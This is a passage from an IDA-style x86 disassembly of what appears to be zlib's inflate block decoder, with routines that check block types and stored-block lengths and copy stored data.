		jmp	loc_42A347
; ---------------------------------------------------------------------------


loc_42B009:				; CODE XREF: sub_42A2DE+228j
					; sub_42A2DE+3A6j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42A2DE	endp

; ---------------------------------------------------------------------------
off_42B00D	dd offset loc_42A363	; DATA XREF: sub_42A2DE+7Er
		dd offset loc_42A48C
		dd offset loc_42A689
		dd offset loc_42A78E
		dd offset loc_42A955
		dd offset loc_42AA40
		dd offset loc_42AC5C
		dd offset loc_42ADFA
		dd offset loc_42AEE4
		dd offset loc_42AF46

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B035	proc near		; CODE XREF: sub_42B04E+4Ep
					; sub_42B1FD+10BCp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+28h]
		push	edx
		mov	eax, [ebp+arg_4]
		call	dword ptr [eax+24h]
		add	esp, 8
		pop	ebp
		retn
sub_42B035	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B04E	proc near		; CODE XREF: sub_42B105+E9p
					; sub_42C565+Dp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jz	short loc_42B062
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+3Ch]
		mov	[eax], edx


loc_42B062:				; CODE XREF: sub_42B04E+7j
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax], 4
		jz	short loc_42B072
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx], 5
		jnz	short loc_42B089


loc_42B072:				; CODE XREF: sub_42B04E+1Aj
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+0Ch]
		push	eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+28h]
		push	edx
		mov	eax, [ebp+arg_4]
		call	dword ptr [eax+24h]
		add	esp, 8


loc_42B089:				; CODE XREF: sub_42B04E+22j
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx], 6
		jnz	short loc_42B0A4
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		push	ecx
		call	sub_42B035
		add	esp, 8


loc_42B0A4:				; CODE XREF: sub_42B04E+41j
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx], 0
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+1Ch], 0
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+20h], 0
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+28h]
		mov	[edx+34h], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+34h]
		mov	[edx+30h], ecx
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+38h], 0
		jz	short loc_42B103
		push	0
		push	0
		push	0
		mov	eax, [ebp+arg_0]
		call	dword ptr [eax+38h]
		add	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	[ecx+3Ch], eax
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+3Ch]
		mov	[edx+30h], ecx


loc_42B103:				; CODE XREF: sub_42B04E+92j
		pop	ebp
		retn
sub_42B04E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B105	proc near		; CODE XREF: sub_42DD45+13Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	40h
		push	1
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+28h]
		push	ecx
		mov	edx, [ebp+arg_0]
		call	dword ptr [edx+20h]
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_42B12E
		mov	eax, [ebp+var_4]
		jmp	loc_42B1F9
; ---------------------------------------------------------------------------


loc_42B12E:				; CODE XREF: sub_42B105+1Fj
		push	5A0h
		push	8
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+28h]
		push	ecx
		mov	edx, [ebp+arg_0]
		call	dword ptr [edx+20h]
		add	esp, 0Ch
		mov	ecx, [ebp+var_4]
		mov	[ecx+24h], eax
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx+24h], 0
		jnz	short loc_42B16F
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+28h]
		push	edx
		mov	eax, [ebp+arg_0]
		call	dword ptr [eax+24h]
		add	esp, 8
		xor	eax, eax
		jmp	loc_42B1F9
; ---------------------------------------------------------------------------


loc_42B16F:				; CODE XREF: sub_42B105+4Dj
		mov	ecx, [ebp+arg_8]
		push	ecx
		push	1
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+28h]
		push	eax
		mov	ecx, [ebp+arg_0]
		call	dword ptr [ecx+20h]
		add	esp, 0Ch
		mov	edx, [ebp+var_4]
		mov	[edx+28h], eax
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+28h], 0
		jnz	short loc_42B1C3
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+24h]
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+28h]
		push	ecx
		mov	edx, [ebp+arg_0]
		call	dword ptr [edx+24h]
		add	esp, 8
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+28h]
		push	edx
		mov	eax, [ebp+arg_0]
		call	dword ptr [eax+24h]
		add	esp, 8
		xor	eax, eax
		jmp	short loc_42B1F9
; ---------------------------------------------------------------------------


loc_42B1C3:				; CODE XREF: sub_42B105+8Dj
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+28h]
		add	edx, [ebp+arg_8]
		mov	eax, [ebp+var_4]
		mov	[eax+2Ch], edx
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_4]
		mov	[ecx+38h], edx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], 0
		push	0
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_42B04E
		add	esp, 0Ch
		mov	eax, [ebp+var_4]


loc_42B1F9:				; CODE XREF: sub_42B105+24j
					; sub_42B105+65j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42B105	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B1FD	proc near		; CODE XREF: sub_42DEC5+3F3p

var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 7Ch
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+4]
		mov	[ebp+var_1C], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+20h]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+34h]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		cmp	edx, [ecx+30h]
		jnb	short loc_42B24B
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+30h]
		sub	ecx, [ebp+var_8]
		sub	ecx, 1
		mov	[ebp+var_54], ecx
		jmp	short loc_42B257
; ---------------------------------------------------------------------------


loc_42B24B:				; CODE XREF: sub_42B1FD+3Bj
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+2Ch]
		sub	eax, [ebp+var_8]
		mov	[ebp+var_54], eax


loc_42B257:				; CODE XREF: sub_42B1FD+4Cj
		mov	ecx, [ebp+var_54]
		mov	[ebp+var_18], ecx


loc_42B25D:				; CODE XREF: sub_42B1FD:loc_42C524j
		mov	edx, [ebp+arg_0]
		mov	eax, [edx]
		mov	[ebp+var_58], eax
		cmp	[ebp+var_58], 9
		ja	loc_42C4C5
		mov	ecx, [ebp+var_58]
		jmp	off_42C52D[ecx*4]


loc_42B279:				; CODE XREF: sub_42B1FD+121j
					; DATA XREF: TEUm:off_42C52Do
		cmp	[ebp+var_14], 3
		jnb	loc_42B323
		cmp	[ebp+var_1C], 0
		jz	short loc_42B292
		mov	[ebp+arg_8], 0
		jmp	short loc_42B2ED
; ---------------------------------------------------------------------------


loc_42B292:				; CODE XREF: sub_42B1FD+8Aj
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_C]
		mov	[edx+20h], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_14]
		mov	[ecx+1Ch], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_1C]
		mov	[eax+4], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		sub	eax, [edx]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+8]
		add	edx, eax
		mov	eax, [ebp+arg_4]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		mov	[ecx], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		mov	[eax+34h], ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42A0B0
		add	esp, 0Ch
		jmp	loc_42C529
; ---------------------------------------------------------------------------


loc_42B2ED:				; CODE XREF: sub_42B1FD+93j
		mov	edx, [ebp+var_1C]
		sub	edx, 1
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_4]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	edx, ecx
		mov	ecx, [ebp+var_14]
		shl	edx, cl
		mov	eax, [ebp+var_C]
		or	eax, edx
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_14]
		add	edx, 8
		mov	[ebp+var_14], edx
		jmp	loc_42B279
; ---------------------------------------------------------------------------


loc_42B323:				; CODE XREF: sub_42B1FD+80j
		mov	eax, [ebp+var_C]
		and	eax, 7
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_10]
		and	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx+18h], ecx
		mov	eax, [ebp+var_10]
		shr	eax, 1
		mov	[ebp+var_5C], eax
		cmp	[ebp+var_5C], 3
		ja	loc_42B501
		mov	ecx, [ebp+var_5C]
		jmp	off_42C555[ecx*4]


loc_42B354:				; CODE XREF: sub_42B1FD+75j
					; DATA XREF: TEUm:off_42C555o
		mov	edx, [ebp+var_C]
		shr	edx, 3
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_14]
		sub	eax, 3
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+var_14]
		and	ecx, 7
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_C]
		mov	ecx, [ebp+var_10]
		shr	edx, cl
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_14]
		sub	eax, [ebp+var_10]
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx], 1
		jmp	loc_42B501
; ---------------------------------------------------------------------------


loc_42B391:				; CODE XREF: sub_42B1FD+75j
					; sub_42B1FD+150j
					; DATA XREF: ...
		mov	edx, [ebp+arg_4]
		push	edx
		lea	eax, [ebp+var_2C]
		push	eax
		lea	ecx, [ebp+var_24]
		push	ecx
		lea	edx, [ebp+var_20]
		push	edx
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_42D0BB
		add	esp, 14h
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+var_2C]
		push	edx
		mov	eax, [ebp+var_24]
		push	eax
		mov	ecx, [ebp+var_20]
		push	ecx
		mov	edx, [ebp+var_28]
		push	edx
		call	sub_42A289
		add	esp, 14h
		mov	ecx, [ebp+arg_0]
		mov	[ecx+4], eax
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+4], 0
		jnz	short loc_42B43A
		mov	[ebp+arg_8], 0FFFFFFFCh
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_C]
		mov	[eax+20h], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_14]
		mov	[edx+1Ch], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_1C]
		mov	[ecx+4], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		sub	ecx, [eax]
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+8]
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	[ecx+8], eax
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		mov	[edx], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		mov	[ecx+34h], edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42A0B0
		add	esp, 0Ch
		jmp	loc_42C529
; ---------------------------------------------------------------------------


loc_42B43A:				; CODE XREF: sub_42B1FD+1D9j
		mov	eax, [ebp+var_C]
		shr	eax, 3
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_14]
		sub	ecx, 3
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx], 6
		jmp	loc_42B501
; ---------------------------------------------------------------------------


loc_42B45A:				; CODE XREF: sub_42B1FD+75j
					; sub_42B1FD+150j
					; DATA XREF: ...
		mov	eax, [ebp+var_C]
		shr	eax, 3
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_14]
		sub	ecx, 3
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx], 3
		jmp	loc_42B501
; ---------------------------------------------------------------------------


loc_42B47A:				; CODE XREF: sub_42B1FD+75j
					; sub_42B1FD+150j
					; DATA XREF: ...
		mov	eax, [ebp+var_C]
		shr	eax, 3
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_14]
		sub	ecx, 3
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx], 9
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+18h], offset aInvalidBlockTy ; "invalid block type"
		mov	[ebp+arg_8], 0FFFFFFFDh
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_C]
		mov	[ecx+20h], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		mov	[eax+1Ch], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_1C]
		mov	[edx+4], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		sub	edx, [ecx]
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		add	ecx, edx
		mov	edx, [ebp+arg_4]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[edx+34h], eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42A0B0
		add	esp, 0Ch
		jmp	loc_42C529
; ---------------------------------------------------------------------------


loc_42B501:				; CODE XREF: sub_42B1FD+147j
					; sub_42B1FD+18Fj ...
		jmp	loc_42C524
; ---------------------------------------------------------------------------


loc_42B506:				; CODE XREF: sub_42B1FD+75j
					; sub_42B1FD+3ACj
					; DATA XREF: ...
		cmp	[ebp+var_14], 20h
		jnb	loc_42B5AE
		cmp	[ebp+var_1C], 0
		jz	short loc_42B51F
		mov	[ebp+arg_8], 0
		jmp	short loc_42B57A
; ---------------------------------------------------------------------------


loc_42B51F:				; CODE XREF: sub_42B1FD+317j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_C]
		mov	[ecx+20h], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		mov	[eax+1Ch], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_1C]
		mov	[edx+4], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		sub	edx, [ecx]
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		add	ecx, edx
		mov	edx, [ebp+arg_4]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[edx+34h], eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42A0B0
		add	esp, 0Ch
		jmp	loc_42C529
; ---------------------------------------------------------------------------


loc_42B57A:				; CODE XREF: sub_42B1FD+320j
		mov	ecx, [ebp+var_1C]
		sub	ecx, 1
		mov	[ebp+var_1C], ecx
		mov	edx, [ebp+var_4]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, [ebp+var_14]
		shl	eax, cl
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_14]
		add	eax, 8
		mov	[ebp+var_14], eax
		jmp	loc_42B506
; ---------------------------------------------------------------------------


loc_42B5AE:				; CODE XREF: sub_42B1FD+30Dj
		mov	ecx, [ebp+var_C]
		not	ecx
		shr	ecx, 10h
		and	ecx, 0FFFFh
		mov	edx, [ebp+var_C]
		and	edx, 0FFFFh
		cmp	ecx, edx
		jz	short loc_42B63E
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax], 9
		mov	ecx, [ebp+arg_4]
		mov	dword ptr [ecx+18h], offset aInvalidStoredB ; "invalid stored block lengths"
		mov	[ebp+arg_8], 0FFFFFFFDh
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_C]
		mov	[edx+20h], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_14]
		mov	[ecx+1Ch], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_1C]
		mov	[eax+4], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		sub	eax, [edx]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+8]
		add	edx, eax
		mov	eax, [ebp+arg_4]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		mov	[ecx], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		mov	[eax+34h], ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42A0B0
		add	esp, 0Ch
		jmp	loc_42C529
; ---------------------------------------------------------------------------


loc_42B63E:				; CODE XREF: sub_42B1FD+3CAj
		mov	edx, [ebp+var_C]
		and	edx, 0FFFFh
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx
		mov	[ebp+var_14], 0
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+4], 0
		jz	short loc_42B66C
		mov	[ebp+var_60], 2
		jmp	short loc_42B67C
; ---------------------------------------------------------------------------


loc_42B66C:				; CODE XREF: sub_42B1FD+464j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+18h]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 7
		mov	[ebp+var_60], ecx


loc_42B67C:				; CODE XREF: sub_42B1FD+46Dj
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_60]
		mov	[edx], eax
		jmp	loc_42C524
; ---------------------------------------------------------------------------


loc_42B689:				; CODE XREF: sub_42B1FD+75j
					; DATA XREF: TEUm:0042C535o
		cmp	[ebp+var_1C], 0
		jnz	short loc_42B6EA
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_C]
		mov	[ecx+20h], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		mov	[eax+1Ch], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_1C]
		mov	[edx+4], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		sub	edx, [ecx]
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		add	ecx, edx
		mov	edx, [ebp+arg_4]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[edx+34h], eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42A0B0
		add	esp, 0Ch
		jmp	loc_42C529
; ---------------------------------------------------------------------------


loc_42B6EA:				; CODE XREF: sub_42B1FD+490j
		cmp	[ebp+var_18], 0
		jnz	loc_42B856
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		cmp	edx, [ecx+2Ch]
		jnz	short loc_42B744
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_0]
		mov	edx, [eax+30h]
		cmp	edx, [ecx+28h]
		jz	short loc_42B744
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+28h]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		cmp	eax, [edx+30h]
		jnb	short loc_42B732
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+30h]
		sub	edx, [ebp+var_8]
		sub	edx, 1
		mov	[ebp+var_64], edx
		jmp	short loc_42B73E
; ---------------------------------------------------------------------------


loc_42B732:				; CODE XREF: sub_42B1FD+522j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+2Ch]
		sub	ecx, [ebp+var_8]
		mov	[ebp+var_64], ecx


loc_42B73E:				; CODE XREF: sub_42B1FD+533j
		mov	edx, [ebp+var_64]
		mov	[ebp+var_18], edx


loc_42B744:				; CODE XREF: sub_42B1FD+500j
					; sub_42B1FD+50Ej
		cmp	[ebp+var_18], 0
		jnz	loc_42B856
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		mov	[eax+34h], ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42A0B0
		add	esp, 0Ch
		mov	[ebp+arg_8], eax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+34h]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		cmp	edx, [ecx+30h]
		jnb	short loc_42B793
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+30h]
		sub	ecx, [ebp+var_8]
		sub	ecx, 1
		mov	[ebp+var_68], ecx
		jmp	short loc_42B79F
; ---------------------------------------------------------------------------


loc_42B793:				; CODE XREF: sub_42B1FD+583j
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+2Ch]
		sub	eax, [ebp+var_8]
		mov	[ebp+var_68], eax


loc_42B79F:				; CODE XREF: sub_42B1FD+594j
		mov	ecx, [ebp+var_68]
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		cmp	eax, [edx+2Ch]
		jnz	short loc_42B7F5
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_0]
		mov	eax, [ecx+30h]
		cmp	eax, [edx+28h]
		jz	short loc_42B7F5
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+28h]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		cmp	ecx, [eax+30h]
		jnb	short loc_42B7E3
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+30h]
		sub	eax, [ebp+var_8]
		sub	eax, 1
		mov	[ebp+var_6C], eax
		jmp	short loc_42B7EF
; ---------------------------------------------------------------------------


loc_42B7E3:				; CODE XREF: sub_42B1FD+5D3j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+2Ch]
		sub	edx, [ebp+var_8]
		mov	[ebp+var_6C], edx


loc_42B7EF:				; CODE XREF: sub_42B1FD+5E4j
		mov	eax, [ebp+var_6C]
		mov	[ebp+var_18], eax


loc_42B7F5:				; CODE XREF: sub_42B1FD+5B1j
					; sub_42B1FD+5BFj
		cmp	[ebp+var_18], 0
		jnz	short loc_42B856
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_C]
		mov	[ecx+20h], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		mov	[eax+1Ch], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_1C]
		mov	[edx+4], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		sub	edx, [ecx]
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		add	ecx, edx
		mov	edx, [ebp+arg_4]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[edx+34h], eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42A0B0
		add	esp, 0Ch
		jmp	loc_42C529
; ---------------------------------------------------------------------------


loc_42B856:				; CODE XREF: sub_42B1FD+4F1j
					; sub_42B1FD+54Bj ...
		mov	[ebp+arg_8], 0
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+var_1C]
		jbe	short loc_42B874
		mov	ecx, [ebp+var_1C]
		mov	[ebp+var_10], ecx


loc_42B874:				; CODE XREF: sub_42B1FD+66Fj
		mov	edx, [ebp+var_10]
		cmp	edx, [ebp+var_18]
		jbe	short loc_42B882
		mov	eax, [ebp+var_18]
		mov	[ebp+var_10], eax


loc_42B882:				; CODE XREF: sub_42B1FD+67Dj
		mov	ecx, [ebp+var_10]
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		mov	eax, [ebp+var_8]
		push	eax
		call	sub_4318C4	; memcpy
		add	esp, 0Ch
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_10]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_1C]
		sub	edx, [ebp+var_10]
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_10]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_18]
		sub	ecx, [ebp+var_10]
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		sub	eax, [ebp+var_10]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+4], eax
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+4], 0
		jz	short loc_42B8D7
		jmp	loc_42C524
; ---------------------------------------------------------------------------


loc_42B8D7:				; CODE XREF: sub_42B1FD+6D3j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+18h]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 7
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx
		jmp	loc_42C524
; ---------------------------------------------------------------------------


loc_42B8EE:				; CODE XREF: sub_42B1FD+75j
					; sub_42B1FD+794j
					; DATA XREF: ...
		cmp	[ebp+var_14], 0Eh
		jnb	loc_42B996
		cmp	[ebp+var_1C], 0
		jz	short loc_42B907
		mov	[ebp+arg_8], 0
		jmp	short loc_42B962
; ---------------------------------------------------------------------------


loc_42B907:				; CODE XREF: sub_42B1FD+6FFj
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_C]
		mov	[eax+20h], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_14]
		mov	[edx+1Ch], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_1C]
		mov	[ecx+4], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		sub	ecx, [eax]
		mov	edx, [ebp+arg_4]
